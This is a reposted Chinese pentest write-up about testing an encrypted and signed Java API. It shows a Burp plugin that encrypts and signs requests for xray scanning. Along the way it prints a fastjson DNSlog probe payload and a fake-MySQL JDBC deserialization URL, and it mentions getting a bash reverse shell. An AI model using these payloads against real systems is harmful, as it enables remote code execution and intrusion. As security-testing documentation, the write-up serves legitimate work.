ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【网络安全】记一次接口加密测试

2021-12-09 13:59:10  阅读:208  来源: 互联网

标签:网络安全 插件 加密 接口 xray json burp


前言

之前接到一个接口测试项目,就提供了一个demo源码和接口设计文档,文档里一共有15个接口。
在这里插入图片描述
本来以为接口测试,只要把参数拼接上去测测就ok了(数据是json格式),但看到设计文档里说数据又得做签名又得做加密,这样测试就变得繁琐了,扫描器也扫不了。
没加密发送,返回会显示解密失败。

其实是有几种解决方案的,写一个代理服务器,经过的时候做数据加密处理啥的,另一个就是写个burp插件,做请求前的数据自动加密,这个其实用过chunked编码插件的就很容易理解。
在这里我打算选择后者,其实burp本身就是一个代理服务器,所以代理部分就不需要我们操心了,我们只需要解决数据处理部分。

【点击查看网络安全学攻略·资料】

fastjson利用

在干之前还是得先看看demo源码有啥,因为还不清楚具体的签名和加密的细节。
目标系统是基于java开发的,demo当然也是java了,项目是用mvn管理的,IDEA自带mvn,就重新编译打包一下,运行jar包运行的是一个spingboot应用,但demo里并没有提供接口,所以其实没啥用。
在这里插入图片描述
在这里插入图片描述
所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依赖包,提交的数据都是json的,其实也猜到一些,这里可以看到fastjson1.2.58,一个存在漏洞的版本,而目标如果一样的话,那就可以先获取高危一枚。
在这里插入图片描述
虽然还没搞定加解密,先提交poc 尝试
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}
在这里插入图片描述
目标成功解析
在这里插入图片描述
然后上mysql connector payload。
github有一个项目也一键搭建一个faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
让目标发送如下,会返回一个执行的序列化对象,从而让目标反序列化执行,构造的参数放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客户端发送的user字段,这里调用cc10执行bash反弹。
在这里插入图片描述

burp插件设计

回头再看看其他源码,有个XXXCashTest.java,是用于客户端提交数据测试的,随便找到一个方法,commonApplyDto是接口参数的类,通过fastjson序列化成字符串,将字符串使用AES加密,作为data的参数值,使用RSA私钥签名作为sign的参数值,然后再提交。他这里是loadPemKey读取本地私钥文件。
在这里插入图片描述
知道他怎么处理的插件就好些了,关于插件编写和调试流程我之前有写过一篇文章简单介绍了下,也可以参考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked编码插件可实现手动编码和自动编码功能,就以他为模板改,先从github下载源码
https://github.com/c0ny1/chunked-coding-converter
根据原始菜单功能,找到encoding的动作事件
在这里插入图片描述
里面会调用Transfer.encoding对请求数据处理
在这里插入图片描述
这和burp代理事件调用的是同个方法,这样就可以一次性将手动和自动加密都搞定了。
在这里插入图片描述
把demo的相关类放到插件项目里,然后调整如下,为了方便插件使用,我新增一个getPemKey()方法,将私钥写死,方便使用,然后生成新的body,需要注意的是参数值得手动做URL编码。
在这里插入图片描述
最后有个头部的iter迭代搜索,如果匹配到content-type,那么就统一修改成x-www-form,
这个是为啥呢,是这样,因为要测试的接口较多,而且参数也比较多,我想使用xray来扫描,那么就得将原始数据包先经过xray,xray做解析,然后再发给burp做加密,最终发送。
流程图大致如下
在这里插入图片描述
但有个问题,因为设计文档里说明提交使用application/x-www-form-urlencoded,所以在burpsuite1构造json数据提交给xray的时候,xray如果识别到是application/x-www-form-urlencoded,他不会当做json数据处理,只会当成普通表单数据,而json数据里没有等号,所以会把整个json当成key做URL编码,然后将payload作为value填充,大概如下,这种server肯定没法正常处理,正常来说应该对json里的参数值做fuzz的。 (这里Content-Type忽略,测试的时候手动改过)
在这里插入图片描述
而只有当Content-Type: application/json时,才会正常解析,但这样提交到server就不能做正常处理,server端只认application/x-www-form-urlencoded,所以才在插件里做了这么一个转换。最终如下
在这里插入图片描述
至此burp插件写完了,编译打包,然后在burpsuite2(其实是找了一台单独的server运行)加载
在这里插入图片描述
自动编码配置,右键菜单,勾选proxy即可。
在这里插入图片描述
xray构造的数据包
在这里插入图片描述
自动加密后的
在这里插入图片描述
到此接口测试准备就绪,后续就是常规的web渗透阶段,愉快的在burpsuite1里构造测试数据包,并联动xray进行自动化测试。

总结

  1. fastjson的利用,poc通过dnslog来快速验证,fake mysql server的使用。
  2. 接口加密自动化burp插件的编写。
  3. burp1-xray-burp2联动来实现手动+自动化测试。
  4. Content-type字段的问题,xray解析json数据需要为application/json,而server需要为application/x-www-form-urlencoded

最后 ·关注私信我获取网络安全学习资料·攻略

标签:网络安全,插件,加密,接口,xray,json,burp
来源: https://blog.csdn.net/HBohan/article/details/121818276

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有